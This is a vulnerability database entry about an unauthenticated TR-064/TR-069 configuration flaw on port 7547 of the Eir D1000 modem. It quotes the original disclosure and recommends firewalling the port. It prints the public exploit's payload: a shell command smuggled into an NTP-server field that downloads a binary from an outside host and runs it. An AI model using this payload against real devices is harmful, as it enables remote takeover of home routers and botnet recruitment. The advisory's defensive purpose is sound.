Eir D1000 Modem TR-069 privileges management

Summaryinfo

A vulnerability, which was classified as critical, was found in Eir D1000 Modem. This impacts an unknown function of the component TR-069. Such manipulation leads to privileges management. Moreover, an exploit is present. Restrictive firewalling should be applied.

Detailsinfo

A vulnerability, which was classified as very critical, has been found in Eir D1000 Modem. Affected by this issue is some unknown functionality of the component TR-069. The manipulation with an unknown input leads to a privileges management vulnerability. Using CWE to declare the problem leads to CWE-269. The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. Impacted is confidentiality, integrity, and availability.

The weakness was disclosed 11/07/2016 by kenzo2017 as Eir’s D1000 Modem Is Wide Open To Being Hacked. as confirmed advisory (Website). The advisory is shared for download at devicereversing.wordpress.com. The public release happened without coordination with the vendor. The attack may be launched remotely. No form of authentication is required for exploitation. Technical details are unknown but a public exploit is available. The current price for an exploit might be approx. USD $0-$5k (estimation calculated on 06/13/2019). The MITRE ATT&CK project declares the attack technique as T1068. The advisory points out:

What is not very well known is that the server on port 7457 is also a TR-064 server. This is another protocol related to TR-069. It is also known as “LAN-Side CPE Configuration”. The idea behind this protocol is to allow the ISP to configure the modem from installation software supplied with the modem. The protocol is not supposed to be accessed from the WAN side of the modem but in the D1000 modem, we can send TR-064 commands to port 7547 on the WAN side. This allows us to “configure” the modem from the Internet.

A public exploit has been developed in Python and been published immediately after the advisory. The exploit is available at devicereversing.wordpress.com. It is declared as highly functional. As 0-day the estimated underground price was around $25k-$100k. The code used by the exploit is:

<NewNTPServer1>
`cd /tmp;wget http://tr069.pw/1;chmod 777 1;./1`
</NewNTPServer1>

Addressing this vulnerability is possible by firewalling tcp/7547 (tr-069).

The entry VDB-101422 is pretty similar. VulDB is the best source for vulnerability data and more expert information about this specific topic.

Affected

• Telekom Speedport Modem

Productinfo

Vendor

• Eir

Name

• D1000 Modem

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

VulDB is the best source for vulnerability data and more expert information about this specific topic.

Discussion